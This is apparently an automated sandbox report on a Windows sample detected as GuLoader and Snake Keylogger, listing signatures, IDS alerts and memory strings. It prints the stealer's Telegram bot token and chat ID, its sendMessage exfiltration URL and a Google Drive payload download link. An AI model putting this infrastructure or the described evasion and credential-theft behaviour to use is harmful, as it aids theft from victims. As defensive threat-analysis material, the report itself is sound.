Edit tour

Windows Analysis Report
OeM750ajqm.exe

Overview

General Information

Sample name:	OeM750ajqm.exe renamed because original name is a hash value
Original sample name:	d8dd9ac3ec0436e700aa87ac846c7d682389acbbda1818b56c42bec2e21ece73.exe
Analysis ID:	1631812
MD5:	a348c76d9e0d8e41a5be07235738c114
SHA1:	e7647f2f0f0bbd73dd3d6e024810f41c6c24a9fc
SHA256:	d8dd9ac3ec0436e700aa87ac846c7d682389acbbda1818b56c42bec2e21ece73
Tags:	exeuser-adrian__luca
Infos:

Detection

GuLoader, Snake Keylogger

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected Snake Keylogger

Yara detected Telegram RAT

Joe Sandbox ML detected suspicious sample

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

OeM750ajqm.exe (PID: 1204 cmdline: "C:\Users\user\Desktop\OeM750ajqm.exe" MD5: A348C76D9E0D8E41A5BE07235738C114)

OeM750ajqm.exe (PID: 4940 cmdline: "C:\Users\user\Desktop\OeM750ajqm.exe" MD5: A348C76D9E0D8E41A5BE07235738C114)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Token": "7850428832:AAHkmxGiQMqPdI63Wmec7SES132JcWja6Js", "Chat_id": "7902102156", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.2555642675.0000000036C81000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000004.00000002.2555642675.0000000036D79000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2555642675.0000000036D79000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000003.00000002.1450395666.000000000731A000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: OeM750ajqm.exe PID: 4940	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: OeM750ajqm.exe PID: 4940	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 1 entries

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T16:15:46.397617+0100	2803305	3	Unknown Traffic	192.168.2.4	49724	104.21.80.1	443	TCP
2025-03-07T16:15:49.803561+0100	2803305	3	Unknown Traffic	192.168.2.4	49726	104.21.80.1	443	TCP
2025-03-07T16:15:56.697503+0100	2803305	3	Unknown Traffic	192.168.2.4	49730	104.21.80.1	443	TCP
2025-03-07T16:16:00.187837+0100	2803305	3	Unknown Traffic	192.168.2.4	49732	104.21.80.1	443	TCP
2025-03-07T16:16:06.746218+0100	2803305	3	Unknown Traffic	192.168.2.4	49736	104.21.80.1	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T16:15:39.972761+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49722	193.122.6.168	80	TCP
2025-03-07T16:15:43.410275+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49722	193.122.6.168	80	TCP
2025-03-07T16:15:47.160324+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49725	193.122.6.168	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T16:15:32.774570+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49720	142.250.185.238	443	TCP

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T16:16:14.293486+0100	1810007	1	Potentially Bad Traffic	192.168.2.4	49739	149.154.167.220	443	TCP

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 07 Mar 2025 15:16:13 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036E6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036E3E000.00000004.00000800.00020000.00000000.sdmp, OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036E50000.00000004.00000800.00020000.00000000.sdmp, OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036E3E000.00000004.00000800.00020000.00000000.sdmp, OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036E22000.00000004.00000800.00020000.00000000.sdmp, OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036E50000.00000004.00000800.00020000.00000000.sdmp, OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: OeM750ajqm.exe, OeM750ajqm.exe, 00000004.00000002.2525450879.000000000040A000.00000008.00000001.01000000.00000004.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: OeM750ajqm.exe, 00000003.00000000.1282960311.000000000040A000.00000008.00000001.01000000.00000004.sdmp, OeM750ajqm.exe, 00000003.00000002.1447703296.000000000040A000.00000004.00000001.01000000.00000004.sdmp, OeM750ajqm.exe, 00000004.00000002.2525450879.000000000040A000.00000008.00000001.01000000.00000004.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036E3E000.00000004.00000800.00020000.00000000.sdmp, OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036E50000.00000004.00000800.00020000.00000000.sdmp, OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: OeM750ajqm.exe, 00000004.00000002.2556951447.0000000037F4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org?q=
Source: OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036E6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram
Source: OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036E6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036E6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036E6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036E6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:124406%0D%0ADate%20a
Source: OeM750ajqm.exe, 00000004.00000003.1594138057.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, OeM750ajqm.exe, 00000004.00000003.1594138057.00000000066C7000.00000004.00000020.00020000.00000000.sdmp, OeM750ajqm.exe, 00000004.00000003.1594428166.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: OeM750ajqm.exe, 00000004.00000002.2556951447.0000000037F4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: OeM750ajqm.exe, 00000004.00000002.2556951447.0000000037F4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: OeM750ajqm.exe, 00000004.00000002.2556951447.0000000037F4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036DEA000.00000004.00000800.00020000.00000000.sdmp, OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036DDB000.00000004.00000800.00020000.00000000.sdmp, OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036E1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036DEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en4
Source: OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036DE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: OeM750ajqm.exe, 00000004.00000002.2533503788.00000000082A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1CJUE5aKHdgpZk5l1u_PHfiJdD52D
Source: OeM750ajqm.exe, 00000004.00000002.2532604469.00000000066A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1CJUE5aKHdgpZk5l1u_PHfiJdD52DDFAP
Source: OeM750ajqm.exe, 00000004.00000003.1651744557.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, OeM750ajqm.exe, 00000004.00000002.2532604469.00000000066CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: OeM750ajqm.exe, 00000004.00000003.1651744557.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, OeM750ajqm.exe, 00000004.00000003.1594138057.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, OeM750ajqm.exe, 00000004.00000002.2532604469.00000000066BD000.00000004.00000020.00020000.00000000.sdmp, OeM750ajqm.exe, 00000004.00000003.1594428166.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1CJUE5aKHdgpZk5l1u_PHfiJdD52DDFAP&export=download
Source: OeM750ajqm.exe, 00000004.00000003.1651744557.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1CJUE5aKHdgpZk5l1u_PHfiJdD52DDFAP&export=download.c
Source: OeM750ajqm.exe, 00000004.00000003.1651744557.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1CJUE5aKHdgpZk5l1u_PHfiJdD52DDFAP&export=downloadcn
Source: OeM750ajqm.exe, 00000004.00000003.1651744557.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1CJUE5aKHdgpZk5l1u_PHfiJdD52DDFAP&export=downloadu
Source: OeM750ajqm.exe, 00000004.00000002.2556951447.0000000037F4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: OeM750ajqm.exe, 00000004.00000002.2556951447.0000000037F4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabv20
Source: OeM750ajqm.exe, 00000004.00000002.2556951447.0000000037F4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: OeM750ajqm.exe, 00000004.00000002.2556951447.0000000037F4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036CCE000.00000004.00000800.00020000.00000000.sdmp, OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036D3D000.00000004.00000800.00020000.00000000.sdmp, OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036E3E000.00000004.00000800.00020000.00000000.sdmp, OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036CCE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036CF8000.00000004.00000800.00020000.00000000.sdmp, OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036D3D000.00000004.00000800.00020000.00000000.sdmp, OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036E3E000.00000004.00000800.00020000.00000000.sdmp, OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036D59000.00000004.00000800.00020000.00000000.sdmp, OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036E50000.00000004.00000800.00020000.00000000.sdmp, OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$
Source: OeM750ajqm.exe, 00000004.00000003.1594138057.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, OeM750ajqm.exe, 00000004.00000003.1594138057.00000000066C7000.00000004.00000020.00020000.00000000.sdmp, OeM750ajqm.exe, 00000004.00000003.1594428166.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: OeM750ajqm.exe, 00000004.00000002.2556951447.0000000037F4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/v20
Source: OeM750ajqm.exe, 00000004.00000003.1594138057.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, OeM750ajqm.exe, 00000004.00000003.1594138057.00000000066C7000.00000004.00000020.00020000.00000000.sdmp, OeM750ajqm.exe, 00000004.00000003.1594428166.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: OeM750ajqm.exe, 00000004.00000003.1594138057.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, OeM750ajqm.exe, 00000004.00000003.1594138057.00000000066C7000.00000004.00000020.00020000.00000000.sdmp, OeM750ajqm.exe, 00000004.00000003.1594428166.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: OeM750ajqm.exe, 00000004.00000002.2556951447.0000000037F4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: OeM750ajqm.exe, 00000004.00000003.1594138057.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, OeM750ajqm.exe, 00000004.00000003.1594138057.00000000066C7000.00000004.00000020.00020000.00000000.sdmp, OeM750ajqm.exe, 00000004.00000003.1594428166.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: OeM750ajqm.exe, 00000004.00000003.1594138057.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, OeM750ajqm.exe, 00000004.00000003.1594138057.00000000066C7000.00000004.00000020.00020000.00000000.sdmp, OeM750ajqm.exe, 00000004.00000003.1594428166.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036E1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036E1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/4
Source: OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036E16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 142.250.185.238:443 -> 192.168.2.4:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.225:443 -> 192.168.2.4:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49739 version: TLS 1.2

Source: C:\Users\user\Desktop\OeM750ajqm.exe

Code function: 3_2_00405640 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

3_2_00405640

Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 3_2_004034F1 EntryPoint,SetErrorMode,GetVersionExA,GetVersionExA,GetVersionExA,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrlenA,wsprintfA,GetFileAttributesA,DeleteFileA,SetCurrentDirectoryA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		3_2_004034F1
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_004034F1 EntryPoint,SetErrorMode,GetVersionExA,GetVersionExA,GetVersionExA,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrlenA,wsprintfA,GetFileAttributesA,DeleteFileA,SetCurrentDirectoryA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		4_2_004034F1

Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 3_2_00406ADA	3_2_00406ADA
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 3_2_6D6C1B28	3_2_6D6C1B28
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_00406ADA	4_2_00406ADA
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0652C738	4_2_0652C738
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0652C468	4_2_0652C468
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0652D278	4_2_0652D278
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06525370	4_2_06525370
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0652C146	4_2_0652C146
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06526FC8	4_2_06526FC8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0652CFA9	4_2_0652CFA9
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0652CCD8	4_2_0652CCD8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06529DE0	4_2_06529DE0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0652CA08	4_2_0652CA08
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0652E988	4_2_0652E988
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065269A0	4_2_065269A0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06523E09	4_2_06523E09
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06523AB1	4_2_06523AB1
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0652E97B	4_2_0652E97B
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0652F961	4_2_0652F961
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065229EC	4_2_065229EC
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F7B78	4_2_065F7B78
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F2300	4_2_065F2300
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F8FB0	4_2_065F8FB0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FA0E0	4_2_065FA0E0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F81D0	4_2_065F81D0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FEE5F	4_2_065FEE5F
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F1A50	4_2_065F1A50
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F1A41	4_2_065F1A41
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FAE7F	4_2_065FAE7F
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F4A78	4_2_065F4A78
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F6E72	4_2_065F6E72
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F6E70	4_2_065F6E70
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FEE70	4_2_065FEE70
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FCE6F	4_2_065FCE6F
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F4A68	4_2_065F4A68
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F6A18	4_2_065F6A18
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F4610	4_2_065F4610
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FAA00	4_2_065FAA00
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F4620	4_2_065F4620
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F4ED0	4_2_065F4ED0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F72C8	4_2_065F72C8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F4EC0	4_2_065F4EC0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F22F0	4_2_065F22F0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FF2F0	4_2_065FF2F0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F1E98	4_2_065F1E98
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FAE90	4_2_065FAE90
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FCE80	4_2_065FCE80
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F72B8	4_2_065F72B8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F1EA8	4_2_065F1EA8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F2758	4_2_065F2758
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F2748	4_2_065F2748
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F7B77	4_2_065F7B77
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F531A	4_2_065F531A
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FD310	4_2_065FD310
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FB310	4_2_065FB310
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FF300	4_2_065FF300
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FD300	4_2_065FD300
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F5328	4_2_065F5328
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F7722	4_2_065F7722
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F7720	4_2_065F7720
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FB320	4_2_065FB320
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F5BD8	4_2_065F5BD8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F97C0	4_2_065F97C0
